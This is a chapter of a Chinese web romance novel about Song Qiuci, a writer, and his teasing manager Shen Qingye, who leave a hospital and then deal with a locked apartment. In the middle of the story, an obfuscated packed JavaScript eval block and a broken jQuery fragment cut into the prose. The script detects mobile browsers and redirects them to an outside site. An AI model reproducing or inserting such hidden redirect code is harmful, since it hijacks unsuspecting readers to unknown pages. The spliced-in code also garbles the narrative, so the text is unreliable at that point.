呼吸变得很轻很轻，宋秋辞虚虚地抬着输液的左手，视线强行游离，躲开了沈晴野落在自己脸上的目光。
下巴被沈晴野修长的指掌抵得发疼，颈边被棉签扫出热感，对方袖口的冷调梨花味像绳索，不依不饶地缠上了他。
那种被天罗地网擒着的感觉，仿佛更重了。
“行了。”沈晴野的目光从男生冷白的颈边擦过，微深的瞳色稍掩，压下翻涌的情绪。
他扬手一抛，用完的棉球和药膏顺利落在几米外的垃圾桶里。
罩着自己的身影退去，宋秋辞悄悄松了一口气。
一抬头，沈晴野正饶有兴致地打量他：“实习翁，你这体质——开冰箱之前是不是得先穿宇航服？”
“？！”宋秋辞无语了一瞬，“想象力那么丰富你怎么不去写文？！”
“因为我是个饭来张口、衣来伸手的废物。”沈晴野掀着眼帘看了眼吊瓶，伸手按下了床头的呼唤铃。
“文学无高低，说不定你也能写出来流芳千古的好作品。”宋秋辞循循善诱。
“我不想。”沈晴野说，“我想当汪伦，照样千古，你快送我。”
宋秋辞：“我送的能是汪伦吗，我送的瘟神好吧。”
护士还是昨晚的那一位，她正要下夜班，临走前接了这个呼唤铃。
“拔针是吧。”她放轻脚步走进来，一眼看见坐在床边的宋秋辞。
昨晚坐在手术室门前的男生宛如一具没有灵魂的漂亮人偶，此刻人偶活了，一反昨夜温润安静的模样，正抬眼瞪人。
被瞪的人支着两条长腿散漫地靠着隔壁床的床尾，顶着张生人勿近的帅脸，掂着手机玩抓大鹅，手腕甩得快要飞起。
“总监，你今天是没有班要上吗？”漂亮男生的声音听起来无可奈何。
“‘公司没傻逼领导更好’”。帅哥言之凿凿，“这话老听到，择日不如撞日，我求证一下。”
“……！”
“哎别动。”护士连忙出声，针尖拔得不好，在男生的手背上留了串小血珠，在冷白的手背上分外显眼。
“没事，小伤。”宋秋辞嘴角微弯。
笑到一半，撞见沈晴野黑沉的眼，他的目光躲闪了下。
“按好。”护士提醒，“体质太差了，以后要多吃多运动。”
这一折腾，小半个上午都要过去了。
“我去给孙叔交费。”宋秋辞按着手背上的棉花球，“等下我要回去写文了。”
答应的新章还没写。
“好啊，顺路，我开车送你。”沈晴野头也没抬。
“？”宋秋辞大为震撼，“你知道我住在哪吗怎么就顺路了？”
“不知道。”沈晴野面无表情，说得问心无愧，“顺我回评论区安家的路。”
宋秋辞：“……”
不要顶着我领导的脸说这种话啊。
病房的门被轻轻地摔上了。
沈晴野那手机游戏玩得飞起，没跟出来。
宋秋辞背靠着门，双手捂脸。
啊啊啊啊尴尬，怎么就暴露了。
互联网饿鬼爬到线下来了，沈晴野本来就很爱盯他了。
算了，先去交费，等下回家速度写完文，还要过来给孙叔送晚饭。
而且——
宋秋辞的目光停在墙边的病房号上。
他很不喜欢医院这个地方。
害怕救护车急促的鸣笛，害怕行人脸上的愁云惨淡，害怕记忆深处涌起的往事。
沈晴野在这里时，那些记忆像暴晒后的相片，一切都褪色了。
病房里。
沈晴野掂着手机，不紧不慢地从锅里拎出了大鹅，眸光抬了下，瞥过中年男人床头的住院资料卡。
半晌，他打开搜索引擎，输入了几个关键词——
“2016年、A市、车祸。”
网页刷出一排信息，又思考了片刻，沈晴野在输入框里添加了一个日期。
-
“哈哈哈哈哈二刷。”
“太会写了，这次强吻失败，下次该成功了吧。”
“能加更吗？我做什么都可以。”
车内，副驾驶位上。
宋秋辞：“……”
“你知道我是作者以后。”他有气无力地说，“不代表你可以直接把评论发我耳边！”
“到了。”沈晴野手里的方向盘一转，车拐过路口，停在小区楼下。
啪嗒，安全带卡扣松开。
“你等着，我马上更。”宋秋辞推开车门，冲了出去。
现在是中午12点，他3小时可以写一章，剩下2小时补觉做饭，再去医院看看老孙。
他一路小跑着，冲到单元楼下，突然愣住了。
坏了。
昨天半夜火急火燎地赶回来，扔下电脑，跟着救护车出门时，他把家里钥匙放在了——
玄关的柜子上。
宋秋辞：“……”
电脑上还有写了一半的稿和思路。
“喂，孙叔？”他拨了个电话，“你身上有咱们家里的钥匙吗？”
“有。”老孙笃定地说，“在我外套口袋里……额……”
“额？”宋秋辞歪头。
老孙沉默了几秒，讪讪地说：“外套在玄关的柜子上。”
宋秋辞：“……”
咱可真是一家人哈。
“孙叔，你说，我站在这儿不吃不喝。”他迟疑道，“能饿成纸片从门缝里钻进去吗？”
老孙：“……”
沈晴野还没走，他收了逗人时吊儿郎当的冷淡劲儿，靠着车座，侧着头看小区草地上金灿灿的银杏叶。
【“12.24”A市高速路交通事故，两死两伤】
时隔九年，新闻变旧闻，报道变旧事。
世界太大了，嬉笑怒骂、悲欢离合，一桩桩人间纷扰落叶似的，日日新、月月新、年年岁岁层出不穷。
盖住悲喜，盖住平白死去的少年憧憬。
嗖——
车窗外，一只宋秋辞跑了过去。
沈晴野：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449063|165851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“？”
嗖——
车窗外，一只宋秋辞拉着个大爷又跑过去了。
沈晴野：“？？”
咋？
写文不用键盘用大爷啊？
单元楼下，大爷叉着腰，指指点点。
“不好开啊，你家这门结实，猫眼有网，我得砸锁啊。”
“那砸吧。”宋秋辞说，“我急着进屋。”
“大中午的砸不了。”物业阿姨也晃悠了过来，“都在午睡呢，两点以后吧，小宋去我们物业坐会儿，我刚熬了排骨汤，我给你端一碗。”
宋秋辞：“……”
不行，很急。
稿在电脑上，重新写来不及。
没这两小时，晚上那更新他怕是赶不上了。
平日里不更就算了，都预告过了，总不能放鸽子吧。
“排骨汤？能给我也来点吗？”熟悉的声音从他背后传来。
宋秋辞一回头，沈晴野悠闲地半蹲在银杏树下，正试图分开两只扭打的猫。
“？你还不回？”宋秋辞匆忙间回头，“这是小区不是景区，怎么还流连忘返了。”
“没带钥匙？”沈晴野拎着黑猫给了白猫一巴掌。
“你能铸吗？”宋秋辞突发奇想。
“……你把我当什么了，我是高手，不是扒手。”沈清野拎着白猫的手，给了黑猫一巴掌，“来，你俩扯平。”
宋秋辞：“……”
对哦。
真的异想天开了。
沈晴野拍了拍手上的猫毛，支着长腿站起来，冲二楼挂着件白色运动服的阳台扬了扬下巴：“你确定……这是你家？”
“不像？”宋秋辞歪头，“你也觉得大别墅更衬我是吗？”
沈晴野：“。”
“这俩孩子。”物业阿姨在一旁听了几句，被逗得直笑，“行了，都去我那儿坐着吧，俩小时而已，等得起。”
宋秋辞欲哭无泪。
急着更文，不好说啊。
等不起，我那摇摇欲坠的信誉度等不起啊。
哗啦。
宋秋辞眼前一黑。
熟悉的黑色大衣又被兜头扔了过来。
下一秒，物业阿姨和开锁大爷同时发出了惊呼——
开锁大爷：“卧槽卧槽。”
物业阿姨：“哦莫哦莫。”
沈晴野后退了两三步，助跑，侧身跃起时一脚蹬在榉树树干的高处，落叶飞舞，骤起的弹跳力使得他几乎飞身跃起，像只敏锐的猎豹，扣住了二楼的阳台栏杆立柱。
规矩的白衬衣下精悍的肌肉迸发近乎恐怖的爆发力，只一下，扣着立柱的手背上青筋微凸，衣袖落到手肘处，小臂肌肉绷起——
双腿荡起，腰腹灵活翻转，沈晴野稳稳落在了二楼阳台内侧。
阳台上晾晒的白色运动装微微摇动。
哗啦——
沈晴野一把拉开半掩着的阳台门。
“上楼。”他说，“欢迎回家。”
宋秋辞：“……？！”